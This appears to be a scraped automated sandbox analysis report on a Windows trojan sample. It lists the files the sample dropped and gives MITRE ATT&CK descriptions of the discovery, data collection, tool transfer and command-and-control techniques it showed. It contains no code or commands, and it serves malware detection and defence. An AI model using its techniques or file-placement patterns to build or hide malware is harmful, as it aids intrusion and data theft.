Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\MPGPH131\MPGPH131.exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cred64[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\amert[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sarra[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\clip64[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\RageMP131\RageMP131.exe

C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe

C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Windows Analysis Report
SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre